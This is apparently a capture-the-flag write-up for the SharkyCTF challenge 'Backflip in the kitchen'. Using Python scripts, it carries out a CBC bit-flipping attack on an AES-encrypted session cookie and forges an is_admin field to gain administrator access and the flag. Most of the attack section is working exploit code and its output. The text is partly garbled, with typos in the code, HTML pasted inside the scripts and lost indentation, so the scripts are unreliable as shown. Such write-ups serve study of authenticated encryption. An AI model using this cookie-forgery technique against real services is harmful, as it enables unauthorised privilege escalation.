> Eat my cookie sharkyboy!  
Look how great my authentication is.  
I used AES 128 CBC for encryption never used it before but it's so cooool!!  
backflip_in_the_kitchen.sharkyctf.xyz  
Register for an account.

After login, the site tells us:

>Welcome to your profile page, admin666  
>  
>Here are the information we store about you :  
>  
> ID : 484  
> Username : admin666  
> Administrator : 0

We get the cookie:
`qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj%2BRgbZodmHYdrcfoQ8Z4bq5jNb7SnUS%2BIzVP3gxmqykvXg%3D%3D`

Urldecode to
`qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg==`

Thats 64 byte of data, so presumably a 16 byte IV and 48 byte of ciphertext.

We need to find out the structure of the cookie's plaintext. It has to be
between 32 and 47 characters long. There must be some structure, because the
data values alone are just 12 characters.

* The plaintext can't be a verbose JSON like `{"ID": 484, "Username": "admin666", "Administrator": 0}`, because that is 55 characters long  
* The username is definitelbbbbbbbbby in the cookie; if we register a longer username with 20 chraracters, the correpsonding cookie is 80 bytes long

I the follwing script script which changes each byte of the IV.

```python  
import requests  
import base64  
from urllib.parse import quote_plus  
import re

def get_profile(pos, i, session = False, verbose=False):  
if(not session):  
sesstion = requests.Session()  
my_cookie = cookie[:pos] + bytes([cookie[pos]^i]) + cookie[pos+bb1:]  
cookies = cookies = {'authentication_token':
quote_plus(base64.b64encode(my_cookie).decode())}

r = session.get(url, cookies = cookies)  
if(r.status_code == 200 and not re.search(r'BAD TOKEN', r.text,
flags=re.MULTILINE)):  
print(cookies)  
print("pos={}, i={}".format(pos,i))  
#Welcome to your profile page, admin666 </h1>

Here are the information we store about you :

  * ID : 48 
  * Userna\  
me : admin666

  * Administrator : 0   
match = re.search(r'ID : (.*)\s</li.*Username : (.*)\s</li.*Administrator :
(.*)\s</li', r.text, flags = re.MULTILINE)  
if(match):  
print('ID:\t{}\nname:\t{}\nadmin:\t{}'.format(match.group(1), match.group(2),
match.group(3)))  
print('============================')  
else:  
if(verbose):  
print(r.text)  
r = session.get(admin_url, cookies = cookies)  
if(r.status_code == 200 and not re.search(r'but you are not allowed to see',
r.text, flags=re.MULTILINE)):  
print('################################## ADMIN
######################################')  
print(r.text)

url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/profile.php'  
admin_url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/admin.php'

cookie_b64 =
'qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg=='  
cookie = base64.b64decode(cookie_b64)

session = requests.Session()

for pos in range(16):  
for i in range(256):  
get_profile(pos, i, session)  
```

This lead tp the following observable results (index starts at 0):

* If you change something at index 2 or 3 (most changes), the ID becomes empty  
* Adding (XOR) 0x01 at index 6 changes the ID from 484 to 584, adding 0x02 to 684, adding 0x05 to 184 => index 6 is the postition of the first character of the ID  
* index 7 and 8 change the second and third position of the ID in the expected way  
* Changing something at index 11 or 12,14 or 15 (1-95) or 13 (1-127) makes the administrator value disappear

Other changes broke the cookie completely

So we can alter the userid and somehow break it to make the Administrator
value disappear.

Changing the ID to 0 or 1 (with or without making Administrator disappear) did
not work.

The cookie might look like this: `{"ID":484,"Admin":0,"username":"admin666"}`

If we replace `id"` with `i" ` at index 2, the ID value disappears, but the
cookie works. This tells us that:

* The ID is stored as `id`  
* Double quotes are used

So new theory: `{"id":484,"admin":0,"username":"admin666"}`

But replacing `id":484,"a`, with `admin":1,"` at index 2 does not work
unfortunately. Its probably not `admin` in the cookie but something else.

We go back to the output of the script above. All the characters from index 11
(where the name of the admin field starts) fail at 2 difeerent additions. This
has to be the cause because they either break the JSON string by terminating
the string or by producing a no printable character. The badd additions are:

* Index 11: 53, 75  
* 12: 47, 81  
* 13: 3, 64-95  
* 14: 61, 67

We use the following script, to print the outputs of adding those numbers to
all letters:

```  
candidates = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-"  
bad_adds = [75, 53] #11  
bad_adds = [47, 81] #12  
bad_adds = [3,64,65] #13  
bad_adds = [61,67] #14

for cand in candidates:  
mods = b''  
for bad_add in bad_adds:  
mod = bytes([cand.encode()[0] ^ bad_add])  
mods += mod  
print('{}:\t{}'.format(cand, mods))  
```

In the output of the first two positions we find that those lines:

...  
i: b'"\\\'  
...  
  
and

...  
s: b'\\\"'  
...

So the letters `i` and `s` produce either a double-quote or a backslash. After
seeing this I added an underscore and a dash to the list of characters and
found next plausible characters to form `is_ad`. So we put an assumed field
name of `is_admin` into the script and get rewarded with the flag.

Here is the final script used:

```python  
import requests  
import base64  
from urllib.parse import quote_plus  
import re

def get_profile(cookie: bytes, session = False, verbose=False, info= ''):  
if(not session):  
sesstion = requests.Session()  
cookies = cookies = {'authentication_token':
quote_plus(base64.b64encode(cookie).decode())}  
  
r = session.get(url, cookies = cookies)  
if(r.status_code == 200 and not re.search(r'BAD TOKEN', r.text,
flags=re.MULTILINE)):  
print(cookies)  
print(info)  
#Welcome to your profile page, admin666 </h1>

Here are the information we store about you :

  * ID : 48 
  * Username : admin666 
  * Administrator : 0  
match = re.search(r'ID : (.*)\s</li.*Username : (.*)\s</li.*Administrator :
(.*)\s</li', r.text, flags = re.MULTILINE)  
if(match):  
print('ID:\t{}\nname:\t{}\nadmin:\t{}'.format(match.group(1), match.group(2),
match.group(3)))  
print('============================')  
else:  
if(verbose):  
print(r.text)  
r = session.get(admin_url, cookies = cookies)  
if(r.status_code == 200 and not re.search(r'but you are not allowed to see',
r.text, flags=re.MULTILINE)):  
print('################################## ADMIN
######################################')  
print(r.text)  
else:  
if(verbose):  
print('?????? ADMIN ?????')  
print(r.text)  
elif(verbose):  
print(r.text)  
  
def forge_byte(data:bytes, pos:int, old:str, new:str) -> bytes:  
if(len(old) != len(new)):  
raise Error('Bad length of old or new values')  
old = old.encode()  
new = new.encode()  
for i in range(len(old)):  
data = data[:pos+i] + bytes([data[pos+i] ^ old[i] ^ new[i]]) + data[pos+i+1:]  
return data

url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/profile.php'  
admin_url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/admin.php'  
cookie_b64 =
'qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg=='  
cookie = base64.b64decode(cookie_b64)

session = requests.Session()

my_cookie = forge_byte(cookie, 2, 'id":484,"is_a' ,'is_admin":1,"')

get_profile(my_cookie, session, True)  
exit(0)  
```

Flag: **shkCTF{EnCrypTion-1s_N0t_4Uth3nTicatiOn_faef0ead1975be01}**